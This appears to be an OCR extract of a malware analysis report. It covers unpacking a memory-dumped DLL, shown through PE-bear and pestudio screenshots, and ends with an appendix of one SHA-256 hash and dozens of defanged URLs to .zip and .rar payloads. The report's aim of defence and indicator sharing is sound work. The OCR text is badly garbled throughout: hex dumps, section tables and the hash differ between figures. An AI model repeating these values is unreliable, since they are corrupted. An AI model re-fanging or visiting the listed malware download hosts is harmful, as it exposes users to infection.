File Header 91c0 08 EB OR 0€ 02 00 FF 74 24 48 8D 4C 24 24 E8 9D - . - -
Optional Header 9100 04 02 00 A 00 8D 4C 24 04 E8 €2 04 02 00 8B D8 PR B B e
Section Headers 91E0 €A 00 8D 4C 24 24 EB 55 04 02 00 50 53 E8 2E 1A - P -
~ Sections 91F0 00 00 83 C4 08 8D 4C 24 20 ES €2 04 02 00 84 CO N S - e e -
v 3 tet =
=5 tp o919 Disasm: .text  General DOS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs 9 Exports % mports B BaseReloc. 9 Debug
ra
& rdata + .
o data Name Raw Addr. Rawsize Virtual Addr. Virtual Size Characteristics Ptrto Reloc. Mum. of Reloc, Mum. of Linenum,
-ﬁ reloc > text 400 34000 1000 33F50 0 0 0
(] > rdata 34400 SE0D 35000 5C50 40000040 0 0 0
> data 30200 400 38000 280 0 0 0
> reloc 3A600 200 3C000 648 42000040 0 0 0
Raw & X | Virtual 8 x
500 eemcm 21000 e
5 U
g
E
S
=
3
g
£
<
g rdata)
S
g 38660 -
Loaded: C/U: P 240000 mem dump.bin Check for updates
@ PE-bear v0.5.0 [Co/Users/REM/Desktop/ download,/ mixed/ 24f0000_mem_dump_fued.bin] - ] x
File Settings Compare Info
~ [ 24f0000_mem_dump.bin x| » 0 4 0 & @
DO Header L DL 2 345 678 3% ABCDETF
Wl D0S stub 3050 56 56 8B T4 24 OC €A 00 8D 4C 24 04 £8 OF DB 00 +
h NTHeaders SOR0 0O € BY CB AR 1D €8 €5 OF 31 AL E3 10 78 00 00
Signature S020 A3 D4 Bl 52 02 OF BE 05 28 BO 52 02 85 CO 74 18
File Header spco 89 36 C4 Bl 62 02 83 7C 24 10 0L 75 62 80 3D 04
Optional Header 9000  BO 52 02 00 75 5B EB 47 €4 AL L8 00 00 00 3B T0
Section Headers SO0R0 30 74 07 C6 05 €5 B2 52 02 O OF B6 05 65 B2 52
v Sections S0F0 02 B5 CO 75 OC €2 45 SB AB ES EB €1 D7 00 00 8B
v G text Dsasm: .text General [DOSHdr  Rihbdr  FleHd  OptoralHdr  Sectontds  @BEwpors @B inports B8 SaseReloc. M Debug
=p P = 5190 + 5
“
% .rdata
& data Name Raw Addr. Rawsize Virtual Addr. Virtual Size  Characteristics  Ptrto Reloc.  Mum. of Reloc.  Mum. of Linenum.
& eloc text 1000 000 1000 3350 0 0 [
— N rdata 25000 5SE00 33000 5C50 0 o o
L 24f0000_mem_dump_fixed bin o
= -mem.Gump.. data BOOO 400 3B0OO 260 0 0 0
D05 Header aeloe 00 B0 30000 548 o ] ]
[
v | NTHeaders
Signature | |
File Header Raw 5 x
Optional Header 1000 . ~
Section Headers =
v Sections §
v B et )
= £P = 9090 £
o rdata =
4 data §
& reloc g’
3

24F0000_mem _dump, ban

/2460000 merm dumo foced.bin

Loaded: Co/Users/REN

[Figure 26] PE-bear Fixing Raw Addresses

24#0000_mem _tump_fxed bin

Check for undates

Compared with [Figure 12] the new dumped file seems to be entirely different binary with new compile time by Sep 2020 unlike
the original PE which show compilation on 2009
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pestudio 8,74 - Malware Initial Assessment - www.winitor.com O
File Help
Wl X B 7
s\remidesktopdownld property value
' "?d'camrf}"‘”'a't")k md5 9968E29001EB6D7619AE2F59C52E6FF8
""" E :””i:t:‘} 'ﬁf‘w error) | shat 515AFSBADET0327FE3SEBCBDAFCC22ETIFEADARG
""" os-stub ({This program . |\ 6 51C35BE1C216876C4325501641 CDO4CDDEORT4C01DASTEIFT4TBOTAGIE6AGDBE

..... O directories (3)

- resources (n/a)

..... B manifest (n/a)
-{10] version (n/a)
-[5g) certificate (n/a)

----- O sections (37.58%)

----- O libraries (kernel32)
imports (2/2/0/1/1)

----- | < exports (DIIRegisterServer)
----- ~0 tls-callbacks (n/a)

----- O file-header (Sep.2020)
----- O eptional-header (Console)

----- abe strings (31/13/81/13/3930)
-ffx debug (Sep.2020)

..... L3 everlay (unknown)

first-brytes (hex)
first-bytes (text)
size

entropy
imphash

cpu

signature
entry-peint (hex)
file-version
file-description
file-type
subsystem
compiler-stamp

debugger-stamp

4D 54 9000 03 00 0000 04 0000 00 FF FF 00 00 B2 00 00 00 00 0000 00 4000 00 00 00 00 00 00 00

638976 bytes

6.702
1E314447F004ES503DC193777BABAGSD
32-bit

n/a

56 56 8B 74 24 OC 6A 00 8D 4C 24 04 E8 DF DB 00 00
n/a

n/a

dynamic-link-library

Console

Sat Sep 19 16:11:12 2020

Sat Sep 19 16:11:12 2020

< >
sha256: 51C35BE1C816876C4325501641 COMMCDDENS14CO1 DAATE2F7ATBOT ARI6EABDBE cpw: 32-bit  file-type: dynamic-link-library  subsysterm: Console
[Figure 27] Pestudio look of the new binary
pestudio 8.74 - Malware Initial Assessment - www.winitor.com
File Help
@ X8 7
5 B chusers\remidesktopldownlc | fpe size blacklist {51) hint (13) whitelist (31)  group (13]  value (6031)
"; |r.1d\catur|54(1ﬂ$] . unicode 12 x _ libeay32.dil
~-#] virustota l.n&t.:wor error) ascii 4 x x - c\Rosestart\pitchtry Winknew\Receive.pdb
-0 dos-stub (IThis program ci
By B 90 ascii 50 £ x CA\Users\REM\Desktop\download\DLL Loader32_FBCE exe
- O file-header (Sep.2020) " 2 cawu REM Data\Local T
11 optiansl-header (Console) ascii x x AUsers\REM\AppDatat\Local\ Temp',
O directories (5) ascii M x x c\Rosestart\pitchtry\ Winknew\Receive.pdb
O sections (37.58%) a;c!! 40 - x [This program cannot be run in DOS mede.
O libraries (kernel32) ascil 4 po w7z
- Z7 imports (2/2/0/1/1) ascii 4 3 SW.H
[ % exports (DlIRegisterServer) | ascii il x Receive.dll
o0 tls-callbacks (n/a) ascii n x Receive.dll
ascii 9 x leua ea=
ascii 9 x t<mamcec=
¥ debug (Sep.2020) unicode 12 x - KERMEL32.DLL
& manifest (n/a) ascii 23 x - _ GetProcessWindowStation
[z version (n/2) ascii 24 x [ 28| GetUserObjectinformation
[ certificate (n/a) ascii 13 2 GetActiveWindow
-] overlay (unknawn) ascii 7 x 21 GetModuleFileName
ascii 17 Ee 21 GetModuleFileName
ascii ihl 21 LoadLibrary
ascii 15 21 GetModuleHandle
ascii 14 21 GetProcAddress
ascii 13 21 GetModuleHandle
ascii 1 21 LoadLibrary
ascii 15 21 GetModuleHandle
ascii 14 21 GetProcAddress
ascii 15 21 GetModuleHandle
ascii 12 _ GetStdHandle
ascii 12 300 GetStdHandle
ascii 22 £ _ GetTimeZonelnformation
ascii 23 x _ QueryPerformanceCounter
ascii 22 x _ GetTimeZonelnformation
ascil 23 x _ QueryPerformanceCounter
< > | ascii 7 - _ IsDebuggerPresent
sha256: 51C35BE1C816876C4325501641CD04CDDENS14C01DAATR2F747B07AGIBEAGDBE cpu: 32-bit  file-type: dynamic-link-library  subsystern: Console  entry-point: 0x00009D30 signature: n/a

[Figure 28] Pestudio strings section
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Flle Name

24f0000_mem_dump-
f.bin

[Table 3] Packed file

Appendix — A

File
SHA265 Size

51C35BE1C816876C4325501641CD04CDDE0814C01DA4762F747B07A6366A6DBE  624KB

DO NOT click at any URL
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hxxps:
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hxxps:
hxxps:
hxxps:
hxxps:
hxxps:
hxxps:
hxxps:
hxxps:
hxxps:
hxxps:
hxxps:
hxxps:
hxxps:

//lensshadow([.]com/q25n2ycl[.]zip
//sharkmarketing[.]site/h5vhbbmkx[.]Jrar
//lakeshoresolutions[.]site/vzuqv6c2u[.]zip
//sikhwalsamachar[.]com/hvpwmw[.]zip
//1library[.]arihantmbainstitute[.]ac[.]in/dcbl8fi[.]zip
//rcoutreach[.]com/j300zhin[.]zip
//alsaqlain[.]mtzinfotech[.]Jcom/qveoxuhz8[.]rar
//www] .]knoxfeed[.]com/mrcjyOn56[.]zip

//www[ . Jmsctahmedabad[.]com/ap7frbox[.]rar
//compremaisaqui[.]Jcom[.]br/hvsz2tddd[.]zip
//greengluecompound[.]Jcom/dtyht107[.]zip
//utah[.]localcitycenter[.]com/vysme8[.]zip
//marscereals[.]com/zkx0fhjal[.]rar
//pinaral[.]biz/ubtrfi[.]zip
//shop[.]zoomangle[.]com/c3f7ziwc|[.]zip
//haifacollege[.]org[.]i1/me0zz5i0[.]zip
//allmobilezone[.]com/nrx7d41ixr[.]rar
//bullseyemedial.]in/d8kya9v[.]zip
//makedacare[.]com/gzx066[.]rar
//m[.]localcitycenter[.]com/m4lntxsdi[.]rar
//rklkpgcollege[.]com/ql59te[.]rar
//hesedorg[.]org/ghbxb7[.]zip
//ngo[.]edusprit[.]com/e@ix7dxtal[.]zip
//gutech[.]com[.]sa/yo4fz9[.]zip
//bcrg[.]co[.]za/tegxla[.]rar
//app[.]cutisclinics[.]com/gksOcul[.]rar
//pulaski[.]website/rbvod79[.]zip
//daniel[.]idevs[.]site/pia5Sbsykl[.]zip
//neumaservicios[.]com[.]ar/qf3wgtie7[.]rar
//ssntrs[.]Jgm-computindo[.]Jcom/mwo3bl[.]rar
//huffingtontribune[.]Jcom/talt7wf[.]zip
//athenacapsg[.]com/vqwslkvgx[.]zip

//www[ .]mareterral[.]com[.]co/vyjjiu[.]zip
//ilovedaybreak[.]com/z1irv2dy[.]rar
//aromatherapy[.]aloilindia[.]in/vtdeudnic[.]zip
//netagplus[.]com/x00luusml[.]zip
//web[.]thebeessolution[.]Jcom/cOw5alb[.]zip
//gc3m[.]info/n69ym3bk[.]zip
//web[.]thebeessolution[.]com/cOw5alb[.]zip
//srichaitanyacollegenlg[.]Jcom/og3wncuv[.]zip
//www[.]spittinfire[.]com/imrgqn59[.]rar
//eltrendelossuenios[.]com[.]ar/ttbl1f99i[.]Jzip
//uk[.]idevs[.]site/jn2yx3[.]zip
//gaiapeaks[.]site/fyoja23[.]rar
//jumaal.]boldcreationsnam[.]Jcom/okhg50[.]zip
//wp[.]osmangony[.]info/xrmigx[.]zip
//coriawp[.]elmamamobil[.Jcom/upj609k4c[.]Jzip
//khabardarnews[.]in/1ldnq5uz[.]zip

//www[ .]iam313[.]com/ojtyptcv[.]zip
//mobicraftdev[.]mincraftquickskineditor[.]Jcom/vt01l6qg61[.]rar
//herbalextracts[.]aloilindia[.]in/i2kwwtp[.]zip
//vegas[.]localcitycenter[.]com/uc5az9i[.]Jrar
//egyuttkonnyebb[.]zolitoth[.]com/dm98dcw[.]rar
//shekharsinstitutenalgondal[.]Jcom/tjgua2[.]rar
//content-engine[.]rankoneagency[.]com/wirh835i[.]rar
//taksim[.]co[.]il/g9itqzo[.]rar
//scholarship[.Josmangony[.]info/pzf3d4h[.]zip
//kucianohotels[.]ng/eqztobqz[.]rar
//digitalaxom[.]in/dsd159972[.]rar
//dspfoundation[.]com/os7kny3[.]zip
//55[.]finaldatasolutions[.]com/snlkqg6e[.]zip
//madleneval.]site/jloqoqf3[.]rar
//cadmuswebdesign[.]com/eqoczx[.]zip
//tryathletelife[.]Jcom/qwyne38m[.]rar
//emosquel.]info/h7ftuq[.]zip
//notifi[.]priruz[.]co[.]in/v4fn4tvg5[.]zip
//sagittalimited[.]site/mzpxej[.]zip
//cwbbox[.]com[.]br/eipp2c60[.]zip
//bajacamping[.]elmamamobil[.]com/f63yt5[.]zip
//1ms[.]cstdevs[.]com/r3rlugedb[.]zip
//joelbonissilver[.]com/mg6cs9c5[.]zip
//arjunmajumdar|[.]com/i3dsc4[.]rar
//truelyb[.]com/buiad8ek6[.]rar
//mraudtee[.]peatus[.]net/y0g3j15k9[.]zip
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hxxps://letspogoyork[.]com/13v1z8zpf[.]rar
hxxps://ffsurveyors[.]com[.]br/gd22wtgu[.]rar
hxxps://bambooteal[.]store/wdbyzv[.]zip
hxxps://hacklady[.]com/p742vtdn[.]rar
hxxps://sreenivasapaintingworks[.]com/pgbtf6[.]rar
hxxps://qurbanakbarindonesial.]com/tg8gadi[.]zip
hxxps://quintadoabacate[.]com/k5f9m33e8[.]zip
hxxps://leluibuffet[.]com[.]br/hl7esn[.]zip
hxxps://todoapp[.]cstdevs[.]com/dgul98n5x[.]zip
hxxps://salsahd[.]Jcom/tvjysy[.]rar
hxxps://pornonhd[.]Jcom/ik3gp8oc[.]zip
hxxps://alpha-chemistry[.]ir/ys7ur7jk[.]rar
hxxps://edurecruit[.]idevs[.]site/ufkd03[.]zip
hxxps://ecovillefashion[.]com/bysrypj[.]zip
hxxps://tusharagarwal[.]online/zbw@9n[.]rar
hxxps://www[ . ]minuevavidal.]org/g2anr8[.]rar
hxxps://ugateshop[.]com/w4slipcd[.]zip

hxxps://www[ .]adamorinmusic[.]com/g33zak4[.]zip
hxxps://info[.]deftenglish[.]com/r3yprhniz[.]zip
hxxps://meunikah[.]Jcom/sny@k57qz[.]zip
hxxps://womenwithamandate[.]com/wk920hwo[ . Jrar
hxxps://cubc[.]elmamamobil[.]com/q8w20z[.]zip
hxxps://jobs[.]thebeessolution[.]com/ifr1ljo2j0[.]zip
hxxps://strengthrer[.]com/tdz9d1fjw[.]zip
hxxps://agroshowtv[.]com/b5farl[.]rar
hxxps://nicoleth[.]Jelmamamobil[.]com/mvifup[.]zip
hxxps://childderm[.]com/e2tpt3[.]rar
hxxps://smithcalendar[.]cstdevs[.]com/qv9p5brpm[.]zip
hxxps://jettaffiliates[.]site/bgluvieq[.]rar
hxxps://bluesteelinfral[.]com/1cOpbOO[.]zip
hxxps://texturesbyvinital[.]com/dhzkiuf[.]rar
hxxps://corporativosanluis[.]net/dpeaememl[.]Jrar
hxxps://wpcoder[.]io/rsbwunhso[.]zip
hxxps://burbankautoglass[.]net/z9qge5rva2[.]rar
hxxps://api[.]cstdevs[.]com/c4voo0Ogc[.]rar
hxxps://coltdogracoes[.]com[.]br/de6f6y[.]rar
hxxps://personal[.]personaltrainerfds[.]com/rhiwosfx[.]zip
hxxps://adithimedia[.]com/hr9gbfn[.]zip
hxxps://clickce[.]Jorg/f7qdijx3[.]zip
hxxps://talklivebuddy[.]Jcom/myr@0k[.]zip
hxxps://ourvisionopticals[.]store/e6nwgxj8[.]zip
hxxps://gory-store[.]com/wh@5c3[.]rar
hxxps://intships[.]Jcom/fbeyyjr[.]zip
hxxps://floralwaters[.]aloilindial.]in/psg2sfk[.]zip
hxxps://app[.]prerana[.]info/j972z9[.]zip
hxxps://bpacit[.]in/p3qaf6[.]rar
hxxps://restauranttalksandstories[.]com/owutc3je[.]zip
hxxps://mail[.]wepartnersfiles[.]com/mwu6lp9s[.]zip
hxxps://palbas[.]cl/wm7gb5ph[.]rar
hxxps://coria[.]elmamamobil[.]com/dx1dn4al.]zip
hxxps://visions[.]alnisamart[.]com/1110tal[.]zip
hxxps://lakeshoresolutions[.]site/vzuqv6c2u[.]zip
hxxps://ngo[.]edusprit[.]com/e@ix7dxta[.]zip
hxxps://burbankautoglass[.]net/z9qge5rva2[.]rar
hxxps://nicoleth[.]elmamamobil[.]com/mvifup[.]zip
hxxps://ngo[.]edusprit[.]com/e@ix7dxta[.]zip
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